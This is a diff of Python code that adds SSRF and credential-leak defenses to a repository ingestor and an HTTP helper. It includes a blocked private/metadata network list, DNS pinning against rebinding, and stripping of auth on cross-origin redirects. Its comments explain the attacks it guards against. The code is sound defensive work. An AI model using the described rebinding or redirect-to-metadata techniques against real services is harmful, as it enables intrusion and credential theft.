# concurrent lookups of other hosts.
|
||||
try:
|
||||
addrinfos = socket.getaddrinfo(
|
||||
host, None, type=socket.SOCK_STREAM
|
||||
)
|
||||
except socket.gaierror as exc:
|
||||
raise ValidationError(
|
||||
f"Cannot resolve repository host {host!r}: {exc}"
|
||||
) from exc
|
||||
|
||||
ips: List[str] = []
|
||||
seen: Set[str] = set()
|
||||
for _family, _type, _proto, _canonname, sockaddr in addrinfos:
|
||||
addr = sockaddr[0]
|
||||
if addr not in seen:
|
||||
seen.add(addr)
|
||||
ips.append(addr)
|
||||
|
||||
if not ips:
|
||||
raise ValidationError(
|
||||
f"Cannot resolve repository host {host!r}: no addresses"
|
||||
)
|
||||
|
||||
result = tuple(ips)
|
||||
with _REPO_HOST_RESOLVE_CACHE_LOCK:
|
||||
now = time.monotonic()
|
||||
_REPO_HOST_RESOLVE_CACHE[cache_key] = (
|
||||
now + _REPO_HOST_RESOLVE_CACHE_TTL_SECONDS,
|
||||
result,
|
||||
)
|
||||
_REPO_HOST_RESOLVE_CACHE.move_to_end(cache_key)
|
||||
RepoIngestor._prune_repo_host_resolve_cache_locked(now)
|
||||
return result
|
||||
|
||||
@staticmethod
|
||||
def _prune_repo_host_resolve_cache(now: Optional[float] = None) -> None:
|
||||
"""Remove expired host entries and enforce a hard cache size cap.
|
||||
|
||||
Acquires ``_REPO_HOST_RESOLVE_CACHE_LOCK``. Callers that already hold
|
||||
the lock must use ``_prune_repo_host_resolve_cache_locked`` instead to
|
||||
avoid deadlocking on the (non-reentrant) lock.
|
||||
"""
|
||||
if now is None:
|
||||
now = time.monotonic()
|
||||
with _REPO_HOST_RESOLVE_CACHE_LOCK:
|
||||
RepoIngestor._prune_repo_host_resolve_cache_locked(now)
|
||||
|
||||
@staticmethod
|
||||
def _prune_repo_host_resolve_cache_locked(now: Optional[float] = None) -> None:
|
||||
"""Prune implementation; caller must already hold the cache lock."""
|
||||
if now is None:
|
||||
now = time.monotonic()
|
||||
|
||||
expired_keys = [
|
||||
cache_key
|
||||
for cache_key, (expires_at, _ips) in _REPO_HOST_RESOLVE_CACHE.items()
|
||||
if expires_at <= now
|
||||
]
|
||||
for cache_key in expired_keys:
|
||||
_REPO_HOST_RESOLVE_CACHE.pop(cache_key, None)
|
||||
|
||||
while len(_REPO_HOST_RESOLVE_CACHE) > _REPO_HOST_RESOLVE_CACHE_MAX_ENTRIES:
|
||||
_REPO_HOST_RESOLVE_CACHE.popitem(last=False)
|
||||
|
||||
@staticmethod
|
||||
def _validate_repo_host(host: str) -> None:
|
||||
"""Reject localhost names and hosts resolving to blocked addresses.
|
||||
|
||||
Literal IPs are checked directly. Hostnames are resolved with
|
||||
``socket.getaddrinfo`` and **every** returned address is screened.
|
||||
"""
|
||||
if not host:
|
||||
raise ValidationError("Repository URL must include a host")
|
||||
|
||||
lowered = host.lower().rstrip(".")
|
||||
if lowered == "localhost" or lowered.endswith(".localhost"):
|
||||
raise ValidationError(f"Repository host is not allowed: {host}")
|
||||
|
||||
try:
|
||||
ip = ipaddress.ip_address(host)
|
||||
except ValueError:
|
||||
# Hostname: resolve and validate all returned addresses
|
||||
for addr in RepoIngestor._resolve_repo_host_ips(host):
|
||||
try:
|
||||
resolved = ipaddress.ip_address(addr)
|
||||
except ValueError:
|
||||
continue
|
||||
if RepoIngestor._is_blocked_ip(resolved):
|
||||
raise ValidationError(
|
||||
f"Repository host resolves to a blocked address: "
|
||||
f"{host} -> {addr}"
|
||||
)
|
||||
return
|
||||
|
||||
if RepoIngestor._is_blocked_ip(ip):
|
||||
raise ValidationError(
|
||||
f"Repository host resolves to a blocked address: {host}"
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _is_local_repo_path(repo_url: str) -> bool:
|
||||
"""Return True if *repo_url* looks like a local filesystem path.
|
||||
|
||||
Matches absolute paths (``/…``, ``C:\\…``), relative paths
|
||||
(``./…``, ``../…``), and bare names without a scheme or ``@host:``
|
||||
pattern that would be interpreted as a local path by git.
|
||||
"""
|
||||
url = repo_url.strip()
|
||||
if "://" in url:
|
||||
return False
|
||||
if RepoIngestor._is_scp_like_repo_url(url):
|
||||
return False
|
||||
# Absolute POSIX or Windows paths, or relative paths
|
||||
p = Path(url)
|
||||
if p.is_absolute():
|
||||
return True
|
||||
# ./ or ../
|
||||
if url.startswith(("./", "../", ".\\", "..\\")):
|
||||
return True
|
||||
# Existing local directory (best-effort; may not exist yet during tests)
|
||||
if p.exists():
|
||||
return True
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def _validate_repo_url(repo_url: str) -> None:
|
||||
"""Validate a repository URL before cloning.
|
||||
|
||||
Accepts http(s)/git/ssh URLs, scp-like SSH remotes
|
||||
(``user@host:path``), and local filesystem paths. Rejects empty
|
||||
values, unsupported schemes, missing hosts, environment variable
|
||||
expansion tokens (``$VAR`` / ``${VAR}``), and hosts that are or
|
||||
resolve to private / loopback / link-local addresses.
|
||||
|
||||
Local filesystem paths bypass network validation because
|
||||
``git clone /path/to/local/repo`` makes no network requests and
|
||||
carries no SSRF risk.
|
||||
|
||||
DNS resolution is TOCTOU-sensitive (rebinding); pair with egress
|
||||
controls in production deployments.
|
||||
"""
|
||||
if not isinstance(repo_url, str) or not repo_url.strip():
|
||||
raise ValidationError("Repository URL must be a non-empty string")
|
||||
|
||||
# Defense-in-depth against GitPython env-var expansion in clone URLs
|
||||
# (GHSA-2f96-g7mh-g2hx / related). Prefer rejecting before clone_from.
|
||||
if _ENV_VAR_TOKEN_RE.search(repo_url):
|
||||
raise ValidationError(
|
||||
"Repository URL must not contain environment variable "
|
||||
"references ($VAR / ${VAR})"
|
||||
)
|
||||
|
||||
url = repo_url.strip()
|
||||
|
||||
# Local filesystem paths: no network, no SSRF risk — skip host checks.
|
||||
if RepoIngestor._is_local_repo_path(url):
|
||||
return
|
||||
|
||||
# scp-like syntax has no URL scheme; validate host then accept.
|
||||
if RepoIngestor._is_scp_like_repo_url(url):
|
||||
RepoIngestor._validate_repo_host(RepoIngestor._scp_like_host(url))
|
||||
return
|
||||
|
||||
try:
|
||||
parsed = urlparse(url)
|
||||
# ``hostname`` can raise ValueError for malformed netloc (e.g. bad IPv6)
|
||||
host = parsed.hostname
|
||||
except ValueError as e:
|
||||
raise ValidationError(f"Invalid repository URL: {e}") from e
|
||||
|
||||
scheme = (parsed.scheme or "").lower()
|
||||
if scheme not in ALLOWED_REPO_URL_SCHEMES:
|
||||
raise ValidationError(
|
||||
f"Unsupported repository URL scheme {scheme!r}. "
|
||||
f"Allowed schemes: {sorted(ALLOWED_REPO_URL_SCHEMES)}"
|
||||
)
|
||||
if not parsed.netloc or not host:
|
||||
raise ValidationError(
|
||||
f"Repository URL must include a host: {repo_url}"
|
||||
)
|
||||
|
||||
RepoIngestor._validate_repo_host(host)
|
||||
|
||||
@staticmethod
|
||||
def _filter_clone_options(options: Dict[str, Any]) -> Dict[str, Any]:
|
||||
"""Return only allowlisted git clone kwargs; reject anything else."""
|
||||
# Semantica processing options — never forwarded to clone_from
|
||||
non_git_options = {
|
||||
"include_history",
|
||||
"file_filters",
|
||||
"commit_filters",
|
||||
"include_extensions",
|
||||
"max_depth",
|
||||
}
|
||||
candidate = {
|
||||
k: v for k, v in options.items() if k not in non_git_options
|
||||
}
|
||||
unsafe = set(candidate) - ALLOWED_CLONE_OPTIONS
|
||||
if unsafe:
|
||||
raise ValidationError(
|
||||
f"Clone option(s) not permitted: {sorted(unsafe)}. "
|
||||
f"Allowed options: {sorted(ALLOWED_CLONE_OPTIONS)}"
|
||||
)
|
||||
return candidate
|
||||
|
||||
def ingest_repository(self, repo_url: str, **options) -> Dict[str, Any]:
|
||||
"""
|
||||
Ingest and process a Git repository.
|
||||
@@ -518,6 +832,8 @@ class RepoIngestor:
|
||||
**options: Processing options:
|
||||
- branch: Specific branch to checkout
|
||||
- depth: Clone depth (for shallow clones)
|
||||
- single_branch: Clone only a single branch
|
||||
- no_tags: Skip cloning tags
|
||||
- include_history: Whether to include commit history
|
||||
- include_extensions: List of file extensions to include (e.g., ["py", "md"])
|
||||
|
||||
@@ -533,27 +849,19 @@ class RepoIngestor:
|
||||
)
|
||||
|
||||
try:
|
||||
# Validate repository URL before any clone attempt
|
||||
self._validate_repo_url(repo_url)
|
||||
clone_url = self._normalize_repo_url(repo_url)
|
||||
|
||||
# Handle option aliases and filters
|
||||
if "max_depth" in options and "depth" not in options:
|
||||
options["depth"] = options["max_depth"]
|
||||
|
||||
# Separate git clone options from processing options
|
||||
# We filter out known non-git options to avoid passing invalid flags to git clone
|
||||
non_git_options = {
|
||||
"include_history",
|
||||
"file_filters",
|
||||
"commit_filters",
|
||||
"include_extensions",
|
||||
"max_depth",
|
||||
}
|
||||
clone_options = {
|
||||
k: v for k, v in options.items() if k not in non_git_options
|
||||
}
|
||||
clone_options = self._filter_clone_options(options)
|
||||
|
||||
# Validate repository URL
|
||||
try:
|
||||
parsed = git.Repo.clone_from(
|
||||
repo_url, self._get_temp_dir(), **clone_options
|
||||
clone_url, self._get_temp_dir(), **clone_options
|
||||
)
|
||||
except Exception as e:
|
||||
self.progress_tracker.update_tracking(
|
||||
@@ -627,6 +935,12 @@ class RepoIngestor:
|
||||
"temp_path": str(repo_path),
|
||||
}
|
||||
|
||||
except ValidationError as e:
|
||||
# Keep validation failures typed for callers; do not wrap as ProcessingError
|
||||
self.progress_tracker.update_tracking(
|
||||
tracking_id, status="failed", message=str(e)
|
||||
)
|
||||
raise
|
||||
except Exception as e:
|
||||
self.progress_tracker.update_tracking(
|
||||
tracking_id, status="failed", message=str(e)
|
||||
|
||||
+497
-37
@@ -11,7 +11,7 @@ import concurrent.futures
|
||||
import ipaddress
|
||||
import socket
|
||||
import threading
|
||||
from typing import Any, Iterable, Optional
|
||||
from typing import Any, Iterable, List, Optional
|
||||
from urllib.parse import urljoin, urlparse
|
||||
|
||||
import requests
|
||||
@@ -33,6 +33,46 @@ _DEFAULT_MAX_REDIRECTS = 10
|
||||
_REDIRECT_STATUS_CODES = frozenset({301, 302, 303, 307, 308})
|
||||
_STRIP_BODY_ON_REDIRECT = frozenset({301, 302, 303})
|
||||
|
||||
# Standard port per scheme (mirrors requests' DEFAULT_PORTS).
|
||||
_DEFAULT_PORTS = {"http": 80, "https": 443}
|
||||
|
||||
|
||||
def _should_strip_auth(old_url: str, new_url: str) -> bool:
|
||||
"""Decide whether credentials must not follow a redirect.
|
||||
|
||||
Mirrors ``requests.utils.should_strip_auth``: credentials are stripped
|
||||
when the hostname changes, when the port changes (outside default
|
||||
ports), or on an https -> http downgrade on the same host. The single
|
||||
exception is an http -> https upgrade on default ports, which requests
|
||||
treats as safe to keep the credential for.
|
||||
"""
|
||||
old_parsed = urlparse(old_url)
|
||||
new_parsed = urlparse(new_url)
|
||||
|
||||
if old_parsed.hostname != new_parsed.hostname:
|
||||
return True
|
||||
|
||||
# Special case: allow http -> https redirect on standard ports.
|
||||
if (
|
||||
old_parsed.scheme == "http"
|
||||
and old_parsed.port in (80, None)
|
||||
and new_parsed.scheme == "https"
|
||||
and new_parsed.port in (443, None)
|
||||
):
|
||||
return False
|
||||
|
||||
changed_port = old_parsed.port != new_parsed.port
|
||||
changed_scheme = old_parsed.scheme != new_parsed.scheme
|
||||
default_port = (_DEFAULT_PORTS.get(old_parsed.scheme), None)
|
||||
if (
|
||||
not changed_scheme
|
||||
and old_parsed.port in default_port
|
||||
and new_parsed.port in default_port
|
||||
):
|
||||
return False
|
||||
|
||||
return changed_port or changed_scheme
|
||||
|
||||
_dns_executor: Optional[concurrent.futures.ThreadPoolExecutor] = None
|
||||
_dns_executor_lock = threading.Lock()
|
||||
|
||||
@@ -98,6 +138,7 @@ def _get_dns_executor() -> concurrent.futures.ThreadPoolExecutor:
|
||||
BLOCKED_NETWORKS = (
|
||||
ipaddress.ip_network("0.0.0.0/8"),
|
||||
ipaddress.ip_network("10.0.0.0/8"),
|
||||
ipaddress.ip_network("100.64.0.0/10"), # CGNAT (RFC 6598) — routable inside carrier/cloud NAT
|
||||
ipaddress.ip_network("127.0.0.0/8"),
|
||||
ipaddress.ip_network("169.254.0.0/16"), # link-local / cloud metadata
|
||||
ipaddress.ip_network("172.16.0.0/12"),
|
||||
@@ -222,12 +263,225 @@ def validate_url_for_request(
|
||||
)
|
||||
|
||||
|
||||
def _resolve_pinned_ips(
|
||||
url: str, *, allow_private_ips: bool
|
||||
) -> Optional[List[str]]:
|
||||
"""Validate *url* and return every resolved IP for connection pinning.
|
||||
|
||||
``validate_url_for_request`` and the subsequent connection used to
|
||||
resolve the same hostname independently, which reopens a DNS-rebinding
|
||||
TOCTOU window: a low-TTL or rebinding DNS answer can differ between the
|
||||
validation lookup and the connect-time lookup, so a hostname that
|
||||
validated as public can still connect to a private/internal address.
|
||||
This performs the one resolution that is actually used for both the
|
||||
accept/reject decision *and* the connection (see
|
||||
``_make_pinned_adapter``), closing that window the same way
|
||||
``explorer/routes/ontology.py``'s ``_validate_fetch_url`` /
|
||||
``_make_pinned_session`` pair already does.
|
||||
|
||||
Returns ``None`` when ``allow_private_ips`` is True (the caller
|
||||
explicitly trusts this host, e.g. an operator-configured internal
|
||||
endpoint that may rely on live DNS/service discovery — pinning is
|
||||
skipped so it keeps resolving normally) or when the URL has no host.
|
||||
Otherwise returns the deduplicated, resolution-ordered list of
|
||||
validated IP addresses.
|
||||
"""
|
||||
validate_url_for_request(url, allow_private_ips=allow_private_ips)
|
||||
if allow_private_ips:
|
||||
return None
|
||||
|
||||
host = urlparse(url).hostname
|
||||
if not host:
|
||||
return None
|
||||
|
||||
try:
|
||||
literal_ip = ipaddress.ip_address(host)
|
||||
except ValueError:
|
||||
literal_ip = None
|
||||
if literal_ip is not None:
|
||||
return [str(literal_ip)]
|
||||
|
||||
executor = _get_dns_executor()
|
||||
owned_executor = False
|
||||
try:
|
||||
try:
|
||||
future = executor.submit(socket.getaddrinfo, host, None)
|
||||
except RuntimeError:
|
||||
executor = concurrent.futures.ThreadPoolExecutor(max_workers=1)
|
||||
owned_executor = True
|
||||
future = executor.submit(socket.getaddrinfo, host, None)
|
||||
resolved: Iterable = future.result(timeout=_DNS_RESOLVE_TIMEOUT_SECONDS)
|
||||
except (socket.gaierror, concurrent.futures.TimeoutError, OSError) as exc:
|
||||
raise ValidationError(
|
||||
f"URL host '{host}' could not be resolved safely "
|
||||
"(DNS error or timeout); request blocked"
|
||||
) from exc
|
||||
finally:
|
||||
if owned_executor:
|
||||
_shutdown_executor(executor)
|
||||
|
||||
pinned_ips: List[str] = []
|
||||
for info in resolved:
|
||||
addr = ipaddress.ip_address(info[4][0])
|
||||
if _ip_is_blocked(addr):
|
||||
raise ValidationError(
|
||||
f"URL host '{host}' resolves to a blocked (private/loopback/"
|
||||
"link-local) address"
|
||||
)
|
||||
addr_str = str(addr)
|
||||
if addr_str not in pinned_ips:
|
||||
pinned_ips.append(addr_str)
|
||||
if not pinned_ips:
|
||||
raise ValidationError(
|
||||
f"URL host '{host}' could not be resolved to a usable address"
|
||||
)
|
||||
return pinned_ips
|
||||
|
||||
|
||||
def _make_pinned_adapter(pinned_ips: List[str], hostname: str) -> "requests.adapters.HTTPAdapter":
|
||||
"""Build an HTTPAdapter that connects only to *pinned_ips*.
|
||||
|
||||
Falls back across every pinned address in order (a hostname can have
|
||||
multiple A/AAAA records) while presenting *hostname* as the TLS SNI /
|
||||
certificate identity and outgoing Host header, so DNS resolution is
|
||||
bypassed entirely for the actual connection — mirroring
|
||||
``explorer/routes/ontology.py``'s ``_make_pinned_session``.
|
||||
"""
|
||||
import urllib3.util.connection as _u3_connection
|
||||
from urllib3.exceptions import NewConnectionError
|
||||
|
||||
class _MultiIPConnectionMixin:
|
||||
def _new_conn(self):
|
||||
last_exc: Optional[BaseException] = None
|
||||
for ip in pinned_ips:
|
||||
try:
|
||||
return _u3_connection.create_connection(
|
||||
(ip, self.port),
|
||||
self.timeout,
|
||||
source_address=self.source_address,
|
||||
socket_options=self.socket_options,
|
||||
)
|
||||
except OSError as exc:
|
||||
last_exc = exc
|
||||
continue
|
||||
raise NewConnectionError(
|
||||
self,
|
||||
f"Failed to establish a connection to any of {pinned_ips}: {last_exc}",
|
||||
)
|
||||
|
||||
class _PinnedIPHTTPAdapter(requests.adapters.HTTPAdapter):
|
||||
def get_connection_with_tls_context(self, request, verify, proxies=None, cert=None):
|
||||
# A proxy performs its own DNS resolution outside this
|
||||
# process's control, which would silently reopen the exact
|
||||
# rebinding race pinning exists to close. Fail closed instead.
|
||||
if requests.utils.select_proxy(request.url, proxies):
|
||||
raise ValidationError(
|
||||
"Proxied requests are not supported through the "
|
||||
"SSRF-guarded request path (a proxy would resolve the "
|
||||
"host itself and bypass IP pinning)."
|
||||
)
|
||||
host_params, pool_kwargs = self.build_connection_pool_key_attributes(
|
||||
request, verify, cert
|
||||
)
|
||||
if host_params.get("scheme") == "https":
|
||||
pool_kwargs.setdefault("assert_hostname", hostname)
|
||||
pool_kwargs.setdefault("server_hostname", hostname)
|
||||
host_params["host"] = pinned_ips[0]
|
||||
pool = self.poolmanager.connection_from_host(
|
||||
**host_params, pool_kwargs=pool_kwargs
|
||||
)
|
||||
base_connection_cls = pool.ConnectionCls
|
||||
if not issubclass(base_connection_cls, _MultiIPConnectionMixin):
|
||||
pool.ConnectionCls = type(
|
||||
"_PinnedConnection",
|
||||
(_MultiIPConnectionMixin, base_connection_cls),
|
||||
{},
|
||||
)
|
||||
return pool
|
||||
|
||||
return _PinnedIPHTTPAdapter()
|
||||
|
||||
|
||||
def _apply_connection_pin(
|
||||
active_session: "requests.Session",
|
||||
url: str,
|
||||
pinned_ips: Optional[List[str]],
|
||||
orig_http_adapter: "requests.adapters.HTTPAdapter",
|
||||
orig_https_adapter: "requests.adapters.HTTPAdapter",
|
||||
had_host_header: bool,
|
||||
orig_host_header: Optional[str],
|
||||
) -> None:
|
||||
"""Mount (or remove) IP pinning on *active_session* for the next hop."""
|
||||
# Session.mount() silently drops whatever adapter it replaces without
|
||||
# closing it. Across a multi-hop redirect chain, each hop gets its own
|
||||
# fresh pinned adapter (a new pool), so failing to close the one from
|
||||
# the previous hop would leak its pooled connection.
|
||||
_current = active_session.adapters.get("http://")
|
||||
if getattr(_current, "_semantica_pinned", False):
|
||||
_current.close()
|
||||
|
||||
parsed = urlparse(url)
|
||||
if pinned_ips:
|
||||
port = parsed.port
|
||||
default_port = _DEFAULT_PORTS.get(parsed.scheme, 80)
|
||||
host_header = (
|
||||
parsed.hostname
|
||||
if port in (None, default_port)
|
||||
else f"{parsed.hostname}:{port}"
|
||||
)
|
||||
adapter = _make_pinned_adapter(pinned_ips, parsed.hostname or "")
|
||||
adapter._semantica_pinned = True
|
||||
active_session.mount("http://", adapter)
|
||||
active_session.mount("https://", adapter)
|
||||
active_session.headers["Host"] = host_header
|
||||
else:
|
||||
active_session.mount("http://", orig_http_adapter)
|
||||
active_session.mount("https://", orig_https_adapter)
|
||||
# Restore the session's own pre-call Host header state rather than
|
||||
# unconditionally clearing it — a caller-supplied session may carry
|
||||
# a legitimate Host override (e.g. a private/internal endpoint
|
||||
# fronted by a name that differs from the connection host), which
|
||||
# a hop that happens not to need pinning must not silently drop.
|
||||
if had_host_header:
|
||||
active_session.headers["Host"] = orig_host_header
|
||||
else:
|
||||
active_session.headers.pop("Host", None)
|
||||
|
||||
|
||||
_SESSION_LOCK_ATTR = "_semantica_ssrf_lock"
|
||||
_session_lock_registry_lock = threading.Lock()
|
||||
|
||||
|
||||
def _get_session_lock(session: "requests.Session") -> threading.Lock:
|
||||
"""Return a lock private to *session*, creating one on first use.
|
||||
|
||||
request_with_ssrf_guard mutates a caller-supplied session's adapters
|
||||
and Host header for the duration of one guarded call (including every
|
||||
redirect hop). Without serializing on the session itself, two guarded
|
||||
calls sharing the same session from different threads could interleave
|
||||
their mount()/restore cycles — one call's request could go out pinned
|
||||
to (or carrying the Host header for) a completely different call's
|
||||
target host. Double-checked locking so concurrent first-use doesn't
|
||||
attach two different locks to the same session.
|
||||
"""
|
||||
lock = getattr(session, _SESSION_LOCK_ATTR, None)
|
||||
if lock is not None:
|
||||
return lock
|
||||
with _session_lock_registry_lock:
|
||||
lock = getattr(session, _SESSION_LOCK_ATTR, None)
|
||||
if lock is None:
|
||||
lock = threading.Lock()
|
||||
setattr(session, _SESSION_LOCK_ATTR, lock)
|
||||
return lock
|
||||
|
||||
|
||||
def request_with_ssrf_guard(
|
||||
method: str,
|
||||
url: str,
|
||||
*,
|
||||
session: Optional[requests.Session] = None,
|
||||
allow_private_ips: bool = False,
|
||||
allow_private_ips_on_redirect: Optional[bool] = None,
|
||||
max_redirects: int = _DEFAULT_MAX_REDIRECTS,
|
||||
**kwargs: Any,
|
||||
) -> requests.Response:
|
||||
@@ -237,57 +491,263 @@ def request_with_ssrf_guard(
|
||||
public URL to bounce into private/loopback/link-local space. This helper
|
||||
disables automatic redirects and re-validates each ``Location`` target
|
||||
before issuing the next hop.
|
||||
|
||||
``allow_private_ips`` trusts the caller's own *url* (e.g. an
|
||||
operator-configured internal endpoint). That trust follows a redirect
|
||||
only when the redirect target's host matches the original host (e.g. a
|
||||
same-host path redirect on a private/localhost server); a redirect to a
|
||||
*different* host is validated with ``allow_private_ips_on_redirect``
|
||||
instead, which defaults to ``allow_private_ips`` for backward
|
||||
compatibility but can be pinned to ``False`` by callers that want to
|
||||
trust only the original host and never extend private-IP eligibility to
|
||||
any other host a redirect chain might reach — otherwise a private-IP-
|
||||
eligible endpoint could be tricked into redirecting into arbitrary
|
||||
internal address space (e.g. cloud metadata) the caller never
|
||||
configured.
|
||||
|
||||
Authorization / credential-header handling (issue #947)
|
||||
--------------------------------------------------------
|
||||
Credentials are stripped from **all** sources that ``requests`` can use to
|
||||
attach an ``Authorization`` header whenever a redirect changes origin:
|
||||
|
||||
1. ``kwargs["headers"]`` — per-request header dict (already handled).
|
||||
2. ``session.headers`` — session-level headers that ``requests`` merges
|
||||
automatically; cleared for the hop and restored via ``finally``.
|
||||
3. ``kwargs["auth"]`` — per-request auth tuple/callable; removed from the
|
||||
local ``kwargs`` copy when stripping is required. This copy never
|
||||
escapes to the caller, so there is nothing to restore.
|
||||
4. ``session.auth`` — session-level auth handler that ``requests`` merges
|
||||
via ``merge_setting(auth, self.auth)`` inside ``prepare_request``;
|
||||
cleared for the hop and restored via ``finally``.
|
||||
5. ``session.trust_env`` — when ``True``, ``requests`` reads ``~/.netrc``
|
||||
for the *redirect target* host and calls ``prepare_auth()`` with those
|
||||
credentials even after sources 3 and 4 are cleared; disabled for
|
||||
cross-origin hops and restored via ``finally``.
|
||||
|
||||
Leaving any one of these intact allows ``requests`` to re-attach
|
||||
credentials on the hop to the foreign origin, defeating the header-level
|
||||
strip.
|
||||
|
||||
Session state that was removed is unconditionally restored in a ``finally``
|
||||
block so the session is left in its original state after this call returns,
|
||||
regardless of how it exits (normal return, exception, redirect cap). A
|
||||
caller-supplied session is also serialized on internally (see
|
||||
``_get_session_lock``): two guarded calls sharing the same session from
|
||||
different threads block on each other for the call's duration rather than
|
||||
interleaving their mutations, so concurrent use of a shared session is
|
||||
safe, if not concurrent.
|
||||
|
||||
Once credentials have been stripped for a cross-origin hop they are NOT
|
||||
re-added for subsequent hops in the same chain, even if a later hop
|
||||
happens to point back to the original host. This prevents credential
|
||||
resurrection via crafted multi-hop redirect chains.
|
||||
"""
|
||||
kwargs = dict(kwargs)
|
||||
kwargs.pop("allow_redirects", None)
|
||||
|
||||
validate_url_for_request(url, allow_private_ips=allow_private_ips)
|
||||
redirect_allow_private_ips = (
|
||||
allow_private_ips
|
||||
if allow_private_ips_on_redirect is None
|
||||
else allow_private_ips_on_redirect
|
||||
)
|
||||
_original_host = (urlparse(url).hostname or "").lower()
|
||||
|
||||
requester = session.request if session is not None else requests.request
|
||||
current_pinned_ips = _resolve_pinned_ips(url, allow_private_ips=allow_private_ips)
|
||||
|
||||
_owns_session = session is None
|
||||
active_session = session if session is not None else requests.Session()
|
||||
requester = active_session.request
|
||||
current_url = url
|
||||
current_method = method.upper()
|
||||
redirects_followed = 0
|
||||
|
||||
while True:
|
||||
response = requester(
|
||||
current_method,
|
||||
current_url,
|
||||
allow_redirects=False,
|
||||
**kwargs,
|
||||
)
|
||||
# A caller-supplied session is mutated (adapters + Host header, and
|
||||
# potentially auth/trust_env below) for the duration of this call,
|
||||
# including every redirect hop; serialize on the session itself so a
|
||||
# second guarded call sharing it from another thread can't interleave
|
||||
# its own mount()/restore cycle into the middle of this one. An owned
|
||||
# session is private to this call, so no lock is needed. Released in
|
||||
# the outermost `finally` below, alongside the state it protects.
|
||||
_session_lock = None if _owns_session else _get_session_lock(active_session)
|
||||
if _session_lock is not None:
|
||||
_session_lock.acquire()
|
||||
|
||||
if response.status_code not in _REDIRECT_STATUS_CODES:
|
||||
return response
|
||||
# Snapshot the session's pre-existing adapters/Host header so pinning
|
||||
# (mounted per-hop below) can be fully undone when this call returns —
|
||||
# required for a caller-supplied session, which outlives this call.
|
||||
_orig_http_adapter = (
|
||||
active_session.adapters.get("http://") or requests.adapters.HTTPAdapter()
|
||||
)
|
||||
_orig_https_adapter = (
|
||||
active_session.adapters.get("https://") or requests.adapters.HTTPAdapter()
|
||||
)
|
||||
_had_host_header = "Host" in active_session.headers
|
||||
_orig_host_header = active_session.headers.get("Host")
|
||||
|
||||
if redirects_followed >= max_redirects:
|
||||
response.close()
|
||||
raise ValidationError(
|
||||
f"Exceeded maximum redirects ({max_redirects}) while "
|
||||
f"fetching '{url}'"
|
||||
# -- issue #947: snapshot every session-level credential source so we can
|
||||
# restore them unconditionally when this call exits.
|
||||
_SENSITIVE = ("Authorization", "Proxy-Authorization")
|
||||
_session_auth_backup: dict = {}
|
||||
_session_auth_handler_backup: Any = None # session.auth backup
|
||||
_session_trust_env_backup: bool = True # session.trust_env backup
|
||||
|
||||
if session is not None:
|
||||
for _h in _SENSITIVE:
|
||||
# requests stores session headers in a case-insensitive dict;
|
||||
# .get() matches regardless of the casing used at insertion time.
|
||||
_val = session.headers.get(_h)
|
||||
if _val is not None:
|
||||
_session_auth_backup[_h] = _val
|
||||
# Snapshot session.auth (HTTPBasicAuth, tuple, callable, or None).
|
||||
_session_auth_handler_backup = session.auth
|
||||
# Snapshot session.trust_env (controls .netrc / env proxy lookup).
|
||||
_session_trust_env_backup = session.trust_env
|
||||
|
||||
# Track whether credentials have been stripped for this redirect chain.
|
||||
# Once stripped they must not reappear on any subsequent hop.
|
||||
_auth_stripped = False
|
||||
|
||||
try:
|
||||
while True:
|
||||
_apply_connection_pin(
|
||||
active_session,
|
||||
current_url,
|
||||
current_pinned_ips,
|
||||
_orig_http_adapter,
|
||||
_orig_https_adapter,
|
||||
_had_host_header,
|
||||
_orig_host_header,
|
||||
)
|
||||
response = requester(
|
||||
current_method,
|
||||
current_url,
|
||||
allow_redirects=False,
|
||||
**kwargs,
|
||||
)
|
||||
|
||||
location = response.headers.get("Location")
|
||||
if not location or not str(location).strip():
|
||||
response.close()
|
||||
raise ValidationError(
|
||||
f"Redirect from '{current_url}' is missing a Location header"
|
||||
if response.status_code not in _REDIRECT_STATUS_CODES:
|
||||
return response
|
||||
|
||||
if redirects_followed >= max_redirects:
|
||||
response.close()
|
||||
raise ValidationError(
|
||||
f"Exceeded maximum redirects ({max_redirects}) while "
|
||||
f"fetching '{url}'"
|
||||
)
|
||||
|
||||
location = response.headers.get("Location")
|
||||
if not location or not str(location).strip():
|
||||
response.close()
|
||||
raise ValidationError(
|
||||
f"Redirect from '{current_url}' is missing a Location header"
|
||||
)
|
||||
|
||||
next_url = urljoin(current_url, str(location).strip())
|
||||
next_host = (urlparse(next_url).hostname or "").lower()
|
||||
# A redirect back to the original host inherits the caller's
|
||||
# trust in that host (e.g. a same-host path redirect on a
|
||||
# private/localhost MCP server). A redirect to a *different*
|
||||
# host must not inherit that trust, even if the original host
|
||||
# was private/internal — otherwise a compromised or malicious
|
||||
# endpoint could redirect into arbitrary private address space
|
||||
# (e.g. cloud metadata) the caller never configured.
|
||||
hop_allow_private_ips = (
|
||||
allow_private_ips
|
||||
if next_host and next_host == _original_host
|
||||
else redirect_allow_private_ips
|
||||
)
|
||||
current_pinned_ips = _resolve_pinned_ips(
|
||||
next_url, allow_private_ips=hop_allow_private_ips
|
||||
)
|
||||
|
||||
next_url = urljoin(current_url, str(location).strip())
|
||||
validate_url_for_request(next_url, allow_private_ips=allow_private_ips)
|
||||
# Do not leak sensitive headers or auth handlers to a different
|
||||
# origin on redirects. All four credential sources are cleared:
|
||||
# • kwargs["headers"] — per-request header dict
|
||||
# • session.headers — session-level header dict
|
||||
# • kwargs["auth"] — per-request auth tuple/callable
|
||||
# • session.auth — session-level auth handler
|
||||
#
|
||||
# Once stripped (_auth_stripped=True), credentials stay absent for
|
||||
# the remainder of the chain — even if a later hop targets the
|
||||
# original host — to prevent credential resurrection.
|
||||
if _auth_stripped or _should_strip_auth(current_url, next_url):
|
||||
_auth_stripped = True
|
||||
|
||||
# Match requests' historical method rewriting for 301/302/303.
|
||||
if (
|
||||
response.status_code in _STRIP_BODY_ON_REDIRECT
|
||||
and current_method not in {"GET", "HEAD"}
|
||||
):
|
||||
current_method = "GET"
|
||||
for key in ("data", "json", "files"):
|
||||
kwargs.pop(key, None)
|
||||
# 1. Strip from per-request kwargs headers.
|
||||
kwargs = dict(kwargs)
|
||||
headers = dict(kwargs.get("headers") or {})
|
||||
for sensitive in _SENSITIVE:
|
||||
headers.pop(sensitive, None)
|
||||
# Also remove any case variant the caller may have used
|
||||
# (e.g. "authorization" or "AUTHORIZATION").
|
||||
for key in list(headers):
|
||||
if key.lower() == sensitive.lower():
|
||||
del headers[key]
|
||||
kwargs["headers"] = headers
|
||||
